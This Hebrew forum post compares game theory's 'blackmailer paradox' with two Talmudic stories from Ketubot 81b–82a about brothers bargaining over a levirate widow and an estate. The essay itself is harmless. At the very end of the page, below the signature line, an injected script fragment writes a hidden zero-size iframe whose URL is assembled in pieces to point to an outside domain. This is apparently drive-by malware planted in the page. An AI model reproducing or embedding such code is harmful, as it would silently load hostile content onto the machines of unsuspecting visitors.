תורת המשחקים היא תחום מחקר שקיים במתמטיקה ובפסיכולוגיה ובכלכלה. במשפט אחד כוללני מדי: כיצד רציונלי, כלומר כדאי, להתנהג בנסיבות שבהן כל אחד מן הצדדים רוצה להשיג את המכסימום האפשרי?
משחק לדוגמא: ראובן ושמעון מקבלים לחלק ביניהם סכום של מאה שקלים. עליהם להגיע להסכמה כיצד לחלקו. הצדק לכאורה הוא שיתחלקו חצי חצי. אבל ראובן יכול להציע חלוקה אחרת. 70 אחוזים כלומר 70 שקלים מול 30, או 80 מול 20. אם שמעון יסרב, לא יהיה להם כלום. אבל אז גם ראובן יפסיד. מה כדאי לשמעון לעשות? מה יקרה בפועל?
השאלה הזו נבחנה גם במתמטיקה וגם בפסיכולוגיה. ישראל אומן, שזכה כידוע בפרס נובל על מחקריו, קרא לה "פרדוקס הסחטן" (וגם נתן לה יישום פוליטי בארצנו הקטנטונת, אבל בלי פוליטיקה! אמרתי: בלי פוליטיקה!).
בשלבים כלשהם מגיע לשאלות מתמטיות או כלכליות סבוכות בין שיטות ניתוח (אומן נגד טברסקי, לפי המבואר בויקי על שמו. http://he.wikipedia.org/wiki/%D7%99%D7%A9%D7%A8%D7%90%D7%9C_%D7%90%D7%95%D7%9E%D7%9F).
תרומתי הצנועה לדיון היא להראות היכן האירוע הזה נזכר בסוגיה תלמודית. וזה ממש אצלנו, בדף היומי.
תלמוד בבלי מסכת כתובות דף פא עמוד ב
ההוא גברא דנפלה ליה יבמה בפומבדיתא.
בעי אחוה למפסלה לה בגיטא מיניה.
א"ל: מאי דעתיך? משום נכסי? אנא בנכסי פליגנא לך
קודם כל תירגום ואחר כך הסבר:
אותו איש נפלה לפניו יבמה בעיר פומבדיתא.
רצה אחיו לפסול אותה עליו על ידי נתינת גט.
אמר לו: מה רצונך? נכסים? אחלוק איתך בנכסים חצי חצי!
עכשו הסבר:
לפי הדין, זכותו של "אותו האיש" היתה לייבם אותה, לא כפי שנוהגים היום בחליצה.
זכות היתה דווקא שלו ולא של אחיו, בגלל שהוא היה הבכור. זה לא כתוב, אבל זה מובן מן ההקשר. דרכו של הסיפור בתלמוד לספר מעט ועל הלומד להבין לפי הנחות היסוד הידועות.
למי שאינו יודע עדיין, היבם מקבל לא רק היבמה – אשה ש"זיכו לו מן השמים" לפי הגמרא - אלא גם את כל הרכוש של אחיו המנוח. עצוב מאד, אבל רווחי.
למעיינים אעיר שיש לשאול מה היה אומר כאן התנא אבא שאול. הלא הוא סובר שכל המייבם לשם אישות ולפיכך גם לשם כסף כאילו פגע בערוה. האם הסוגיה שלנו היא לפיו או לפי חכמים החולקים עליו? אבל זו רק הערה צדדית לנושא שלנו.
לכאורה הכל קל ופשוט, אבל אחיו התקנא בו ורצה לקלקל לו. איך? ובכן, אם הוא נותן לה גט, שאינו מועיל מן התורה, עדיין הוא מקלקל את הייבום. ואז האלמנה זקוקה לחליצה (משניהם, כפי שלמדנו במסכת יבמות).
ואם היא מקבלת חליצה, הנכסים מתחלקים שוה בשוה בין היורשים, שני האחים.
האח הקטן אם כן נמצא במצב של הסחטן, שיכול לקלקל לאחיו הגדול את הכל. למנוע ממנו, מכוח תקנה דרבנן, לקבל גם את האשה וגם את כל הרכוש.
מה עשה האח הגדול? הציע לאחיו חלוקה שוה בנכסים, בעודו מקבל את היבמה.
שמתם לב שלא שאלו את היבמה מה היא רוצה. יתכן שהיא לא התנגדה, ויתכן שבאמת לא שאלו אותה...
אם ננסה לנתח את המצב בכלים של תורת המשחקים, נראה שזה דומה מספיק למקרה המפורסם של "הסחטן". הסחטן הוא האח הצעיר דווקא, מפני שהאח הגדול מקבל באופן אוטומטי את הזכות לייבם ולרשת את הכל. אפשר כמובן לטעון שמדוע להתחיל דווקא בנקודה זו, אבל צריך להתחיל היכן שהוא, ובנסיבות התלמודיות זה נתון שלאח הגדול יש יתרון.
האח הצעיר, אם הוא רוצה להיות סחטן, צריך לא רק לסרב, כלומר להתנגד לחלוקה, מכיון שאיש לא שואל אותו. עליו לעשות מעשה של ממש. כלומר, לתת ליבמה גט.
אבל זה אפשרי. לא הגון, אבל אפשרי. (אפשר גם לשאול מדוע זה לא הגון. יש תשובה, אבל מי מוכן לנסח אותה?).
האח הצעיר אם כן עושה את המהלך שלו ומאיים בגט. האח הגדול אינו יכול להספיק לייבם לפני שהגט יגיע לידי היבמה ויקלקל הכל. עליו אם כן למצוא פשרה.
האח הגדול עושה את הצעד שלו. מה דעתך על חצי חצי, הוא שואל את הצעיר.
עד כאן הסיפור. ועלינו לשער, גם לפי ההמשך, שהאח הצעיר הסכים לחלוקה. האח הגדול קיבל את האשה.
סוף טוב הכל טוב, מפני שכאן נכנס שיקול חדש שמופיע מייד בהמשך. מתברר שההבטחה של האח הגדול לחלוק בנכסים אינה מחייבת אותו לחלוק. יש דיון ארוך בגמרא בהמשך איך ומתי והאם חלוקה כזו יכולה לחול.
לפי הנראה, האח הגדול לא רק קיבל את היבמה, אלא גם נשאר עם כל הרכוש. אכן כפי שהיה אמור להיות מראש.
האם הוא ידע שזה מה שיקרה? לא ברור כל כך, מפני שאם נחלקו אמוראים בדבר, אז יתכן שהוא התכוון במלוא הרצינות לחלוק, אבל מסתבר גם שאחרי שהתברר לו שהחלוקה תלויה ברצונו הטוב, לא התקשה לשכנע את עצמו שהבטחה אומללה באונס לאחיו אינה טעונה מימוש בפועל. הוא, הצעיר, עשה שלא כהוגן, ואיים בגט, אז גם הוא, הגדול, יעשה לו שלא כהוגן ולא יתחלק.
מה היה בסוף? יתכן שיש לנו הזדמנות לדעת זאת, וכך גם סברו המפרשים, מפני שאותו סיפור קרה שוב בהפרש לא גדול של זמן ומקום (וגם דפי גמרא, אבל זה כמובן לא מוכיח כלום מבחינת הריחוק ההיסטורי).
תלמוד בבלי מסכת כתובות דף פב עמוד א
ההוא גברא דנפלה ליה יבמה במתא מחסיא.
בעא אחוה למיפסלה בגיטא מיניה.
אמר ליה: מאי דעתיך? אי משום נכסי, אנא בנכסי פליגנא לך.
אמר ליה: מסתפינא דעבדת לי כדעביד פומבדיתאה רמאה...
אמר ליה: אי בעית פלוג לך מהשתא.
תירגום:
אותו האיש נפלה לפניו יבמה בעיר מתא מחסיא.
רצה אחיו לפסול אותה בגט (כמו קודם).
אמר לו: מה רצונך? אם בגלל הנכסים, נתחלק חצי חצי.
אמר לו: אני פוחד שתעשה לי כאותו פומבדיתאי רמאי.
אמר לו: אם רצונך, נחלוק כבר מעכשו (לפני הייבום).
ובכן, אותו סיפור חוזר על עצמו בעיר אחרת. מתברר שהסיפור הראשון עשה לו כנפים. ולא רק בבתי המדרש.
מעניין שהאח הגדול מוגדר כאן בתור "פומבדיתאי רמאי". המפרשים עמלו להסביר אם זו רמאות ומדוע. אענה אף אני את חלקי. וצריך לבדוק מה היתה כוונתו של האח הגדול בזמן ההצעה ואיך יש להתייחס לסוף, כאשר יכול היה לחלוק ולא עשה כן.
בהתחלה, כשהציע חלוקה, האם זו רמאות? לדעתי, לא. ראשית, אין זה ברור שהאח הגדול התכוון באמת לרמות. מי אומר שידע את הדין? הסוגיה המורכבת מוכיחה שזה לא פשוט. שנית, מי שמרמה כדי להציל את שלו, האם "רמאי" ייאמר לו? האם לא למדנו מיעקב אצל לבן שעם עיקש תתעקש?
שנית, לגבי הסוף. אז אם מקבלים את הטענה ש"הוא עשה שלא כהוגן – הצעיר – אז עושים עמו שלא כהוגן ואין מקיימים את ההבטחה" אז אין כאן טענה נגד הגדול. ועוד משהו, ממש פורמלי. האם מי שמבטיח לחלוק נכסים ואינו מקיים נכשל ברמאות או בעבירה אחרת? נניח לשאלה הזו...
לפיכך, אני קראתי את הגמרא כך שהביטוי "פומבדיתאי רמאי" בעצם משקף את התייחסותו של האח הצעיר ממתא מחסיא. אדם תמיד מזדהה עם מי שקרוב אליו. האח הצעיר של מתא מחסיא מזדהה עם האח הצעיר של פומבדיתא. מדוע שהאח הגדול יקבל הכל? הה?
איך היה סוף המעשה בסיפור הסחטן – כוונתי במינוח של תורת המשחקים, כמובן – במתא מחסיא? ובכן, יתכן שגם הוא לא קיבל כלום, מפני שהגמרא מכריעה שגם הצעה לחלוק לפני וגם הצעה לחלוק אחרי אינן מחייבות. לפירוט יש לעיין בסוגיות שם ובראשונים...
אז מה היה לנו? שני סיפורים של "פרדוקס הסחטן" שבהם צד אחד ניצח. כמובן, אם האח הצעיר היה יודע ששום דבר לא יועיל לו כדי לקבל את חצי הרכוש, בוודאי היה מייד נותן גט ופוסל, עד כמה שזה לא הגון. או שהיה מבטיח את האינטרסים שלו על ידי קנין בבית דין חשוב או בכל אופן שזה מועיל.
זו כמובן העצה להתנהגות רציונלית אם ההתנהגות הרציונלית מחפשת להתעשר על חשבון יתרון הלכתי של האח הגדול. כידוע, לנהוג לפי ההלכה, גם אם זה עולה כסף, זה עדיין דבר של מעלה. וגם להימנע מסכסוך משפחתי על כסף זה דבר ראוי מאד...
שאלה שאיני יודע איך לענות עליה היא: אם נגיד שהאח הגדול קיבל את הכל בשני המקרים, האם זה נצחון של הטוב?
__כמה בעיות יש בנסיון לשלוח הודעה בימינו! מה קורה עם האתר הזה?!_______________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 06/05/2015 12:51:32
